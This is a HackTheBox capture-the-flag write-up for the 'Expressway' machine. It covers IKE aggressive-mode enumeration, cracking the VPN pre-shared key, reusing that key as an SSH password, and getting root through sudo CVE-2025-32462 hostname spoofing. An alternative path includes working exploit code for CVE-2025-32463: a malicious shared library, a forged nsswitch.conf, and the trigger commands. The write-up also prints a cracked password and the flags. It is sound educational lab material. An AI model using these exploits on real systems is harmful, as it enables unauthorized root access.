Post

Expressway — HackTheBox

Posted
By Jesse Kennedy
9 min read
Expressway — HackTheBox

Difficulty: Medium | OS: Debian 14 | Release: March 1, 2026
CVEs: CVE-2025-32462 (sudo hostname spoofing), CVE-2025-32463 (sudo chroot nsswitch injection)
Author: jkonpc | March 9, 2026

Executive Summary

Expressway is a medium-rated Linux machine that teaches IPsec VPN penetration testing — a skill rarely covered in CTFs but critical in real-world corporate environments. The box presents only a single UDP port (500/ISAKMP) to the attacker, requiring knowledge of IKE protocol enumeration, aggressive mode attacks, and pre-shared key cracking before any traditional attack surface is visible. The root escalation leverages a 2025 sudo vulnerability that abuses host-based policy restrictions through hostname spoofing.

This writeup takes an educational approach, explaining the “why” behind each step for readers encountering VPN pentesting for the first time.

PropertyValue
Target IP10.129.2.39
Hostnameexpressway.htb
User Flag76197732d4290a73df61db5201cf07cd
Root Flag07c5b9366bf54204d669e5d11e90ebe7

Attack Chain Overview

  1. IKE Enumeration — Discover ISAKMP on UDP 500, fingerprint VPN parameters
  2. Aggressive Mode Attack — Force identity disclosure, capture PSK hash
  3. PSK Cracking — Crack the pre-shared key with psk-crack
  4. SSH with Leaked Credentials — IKE identity reveals username, PSK is the password
  5. Sudo CVE-2025-32462 — Spoof hostname to bypass sudoers host restrictions → root

Phase 1: Reconnaissance

The Invisible Attack Surface

Initial TCP scanning returns nothing — every port is filtered:

1
2

$ sudo nmap -sC -sV 10.129.2.39
Returns nothing useful (more on -Pn later)

This is the first lesson of Expressway: not every target has a web server. When TCP gives you nothing, check UDP:

1
2
3

$ sudo nmap -sU --min-rate 5000 10.129.2.39
PORT    STATE SERVICE
500/udp open  isakmp

A single open port — UDP 500, which runs ISAKMP (Internet Security Association and Key Management Protocol). This is the signaling protocol for IPsec VPNs. Its job is to negotiate encryption parameters and authenticate both sides before establishing an encrypted tunnel.

In a corporate penetration test, finding port 500 means you’ve found a VPN concentrator — the gateway that remote employees connect through to access internal resources. Compromising it can give you access to the entire internal network.

What is IKE?

IKE (Internet Key Exchange) is the protocol that runs over ISAKMP. Think of it as the handshake before the encrypted tunnel goes up. IKE Phase 1 authenticates both sides and creates a secure channel. IKE Phase 2 negotiates the actual IPsec tunnel parameters.

IKE Phase 1 can operate in two modes:

Main Mode uses six packets. Identity information (who you are) is exchanged encrypted, so an eavesdropper can’t see it. Secure, but both sides need to agree on a single pre-shared key upfront.

Aggressive Mode uses three packets. Identity information is sent in the clear, before encryption is established. This is necessary when a VPN server hosts multiple groups with different pre-shared keys — the server needs to see the identity first to know which PSK to use for the handshake. The trade-off is speed for security.

The critical weakness: Aggressive Mode leaks the identity and a hash of the PSK to any unauthenticated attacker who asks.

Phase 2: IKE Enumeration

Fingerprinting the VPN

The tool for IKE enumeration is ike-scan. A basic scan reveals the negotiation parameters:

1
2
3
4
5
6

$ ike-scan 10.129.2.39
10.129.2.39  Main Mode Handshake returned
  SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK
      LifeType=Seconds LifeDuration=28800)
  VID=09002689dfd6b712 (XAUTH)
  VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

This tells us several things:

  • Enc=3DES — Triple DES encryption (legacy, considered weak)
  • Hash=SHA1 — SHA1 for integrity (also legacy)
  • Group=2:modp1024 — 1024-bit Diffie-Hellman key exchange (weak by modern standards)
  • Auth=PSK — Pre-Shared Key authentication (not certificates)
  • XAUTH — Extended Authentication is enabled (username/password after tunnel establishment)

The presence of PSK authentication and XAUTH is significant. PSK means there’s a shared secret we might be able to crack. XAUTH means there’s a second layer of credentials we’ll need.

Aggressive Mode — Identity Leakage

Switching to Aggressive Mode with -A immediately reveals the server’s identity:

1
2
3
4
5

$ ike-scan -A 10.129.2.39
10.129.2.39  Aggressive Mode Handshake returned
  SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK)
  ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
  Hash(20 bytes)

The server identifies itself as ike@expressway.htb. This is a username and domain — information the server would never reveal in Main Mode. We now have a potential username: ike.

Phase 3: PSK Cracking

Capturing the Hash

The Aggressive Mode response includes a hash derived from the PSK. We can capture this in a crackable format:

1

$ ike-scan -A 10.129.2.39 --pskcrack=handshake.txt

This saves the complete handshake data — both sides’ nonces, cookies, SA proposals, and the hash — into a format that offline cracking tools understand.

Cracking with psk-crack

1
2

$ psk-crack -d /usr/share/wordlists/rockyou.txt handshake.txt
key "freakingrockstarontheroad" matches SHA1 hash

The PSK cracks against rockyou in seconds. In a real engagement, this is why Aggressive Mode + PSK authentication is considered a significant vulnerability — any attacker who can reach the VPN endpoint can extract and crack the shared secret offline.

For larger wordlists or slower hashes, hashcat supports IKE PSK cracking with mode 5300 (MD5) or 5400 (SHA1).

Phase 4: SSH — Credential Reuse

The Hidden Service

Here’s the twist: SSH was open the entire time. The initial scan missed it because the host blocks ICMP ping probes, and nmap’s default host discovery relies on ping. Scanning with -Pn (skip host discovery, treat all hosts as up) would have revealed it:

1
2
3

$ sudo nmap -sC -sV -Pn 10.129.2.39
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian-8

This is an important lesson: always use -Pn when scanning HackTheBox machines, and consider it on real engagements when hosts appear down but you have other evidence they’re alive (like an open UDP port).

Password Reuse

The IKE identity leaked a username (ike), and the PSK gave us a password. Testing credential reuse against SSH:

1
2
3
4
5

$ ssh ike@10.129.2.39
Password: freakingrockstarontheroad

ike@expressway:~$ cat user.txt
76197732d4290a73df61db5201cf07cd

In corporate environments, VPN pre-shared keys and user credentials are frequently the same or similar. This is especially common when the PSK is a “group password” shared among a team.

Phase 5: Privilege Escalation

Enumeration

Basic enumeration reveals no sudo privileges and no other users:

1
2
3

$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ike:x:1001:1001:ike,,,:/home/ike:/bin/bash

Checking SUID binaries reveals something unusual:

1
2
3
4
5

$ find / -perm -4000 -type f 2>/dev/null
/usr/sbin/exim4
/usr/local/bin/sudo    # <-- unusual location
/usr/bin/sudo          # <-- standard location
...

Two copies of sudo in different locations. /usr/local/bin/sudo is non-standard — this suggests a manually compiled or installed version. Checking the versions:

1
2
3
4
5

$ /usr/bin/sudo --version
Sudo version 1.9.13p3

$ /usr/local/bin/sudo --version
Sudo version 1.9.17

Version 1.9.17 is a very recent release. Searching for vulnerabilities in sudo 1.9.17 reveals CVE-2025-32462 — a hostname spoofing vulnerability.

CVE-2025-32462 — sudo Hostname Spoofing

How It Works

sudo supports host-based restrictions in /etc/sudoers. Administrators can grant different privileges depending on which server a user is logged into. For example:

1
2
3

ike  webserver = NOPASSWD: ALL     # root on web server
ike  devbox = NOPASSWD: ALL        # root on dev box  
ike  !production = NOPASSWD: ALL   # NOT on production

This is common in enterprises where a single sudoers file is distributed to many servers via configuration management.

sudo’s -h flag lets users specify a target hostname. In vulnerable versions (1.8.8 through 1.9.17), sudo uses this user-supplied hostname for policy evaluation instead of the actual system hostname. An attacker can spoof their hostname to match a permissive rule that was never intended for the current machine.

Finding the Target Hostname

To exploit this, we need to guess a hostname that has elevated privileges in the sudoers file. Grepping through log files reveals a reference in an old Squid proxy access log:

1
2
3

$ grep -r expressway /var/log/ 2>/dev/null
/var/log/squid/access.log.1:1753229688.902  0 192.168.68.50
  TCP_DENIED/403 3807 GET http://offramp.expressway.htb

The hostname offramp.expressway.htb appears in the Squid logs — likely another server in the environment.

Exploitation

The exploit is a single command:

1
2

$ sudo -h offramp.expressway.htb -i
root@expressway:~#

sudo checks the spoofed hostname against the sudoers policy, matches offramp.expressway.htb where ike has passwordless root, and grants access — despite running on expressway.htb where ike should have no privileges.

1
2

root@expressway:~# cat root.txt
07c5b9366bf54204d669e5d11e90ebe7

Alternative Path: CVE-2025-32463 — sudo chroot nsswitch Injection

The custom sudo 1.9.17 is also vulnerable to CVE-2025-32463, which allows local privilege escalation through the --chroot option. This vulnerability exists because sudo enters a user-controlled chroot before finishing policy evaluation, allowing an attacker to inject a malicious nsswitch.conf that loads arbitrary shared libraries as root.

The exploit involves creating a fake chroot environment with a malicious nsswitch.conf pointing to a custom shared library:

1
2
3
4
5
6
7
8
9
10

// exploit.c
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void pwn(void) {
    setreuid(0, 0);
    setregid(0, 0);
    chdir("/");
    execl("/bin/bash", "/bin/bash", NULL);
}

Compiling and triggering:

1
2
3
4
5

$ mkdir -p newroot/etc libnss_
$ echo "passwd: /pwn" > newroot/etc/nsswitch.conf
$ gcc -shared -fPIC -o libnss_/pwn.so.2 exploit.c
$ sudo --chroot newroot true
root@expressway:/#

When sudo chroots into newroot/ and resolves user information, glibc reads the fake nsswitch.conf, constructs the library path libnss_/pwn.so.2, loads it, and the constructor function runs as root.

Key Takeaways

  • UDP scanning is not optional. TCP-only reconnaissance would have missed this box entirely. In real engagements, always scan UDP — at minimum the top 100 ports. IPsec (500), SNMP (161), TFTP (69), and DNS (53) are all common vectors hidden on UDP.

  • IKE Aggressive Mode is a known vulnerability. Any VPN endpoint supporting aggressive mode with PSK authentication gives unauthenticated attackers a crackable hash. This has been a known issue for over 20 years, yet it remains common in production environments. If you find it on a pentest, it’s a finding.

  • Credential reuse bridges attack surfaces. The VPN PSK became the SSH password. In corporate environments, shared secrets (VPN keys, Wi-Fi passwords, service account credentials) are frequently reused across systems. Always test recovered credentials against every available service.

  • Host-based sudo restrictions are not security boundaries. CVE-2025-32462 demonstrates that sudo’s hostname-based policy enforcement can be trivially bypassed. If an organization relies on host-based sudoers rules as a security control, they should patch immediately and consider alternative authorization mechanisms.

  • Always use -Pn when scanning. Hosts that block ICMP appear dead to nmap’s default discovery. This simple flag would have revealed SSH immediately and shortened the attack path significantly.

Tools Used

  • nmap, ike-scan, psk-crack, hashcat, SSH, strongswan (for VPN tunnel — not required for the solve)
Writeups, HackTheBox
linux ipsec ike vpn aggressive-mode psk-cracking sudo-cve cve-2025-32462 cve-2025-32463 squid cisco
This post is licensed under CC BY 4.0 by the author.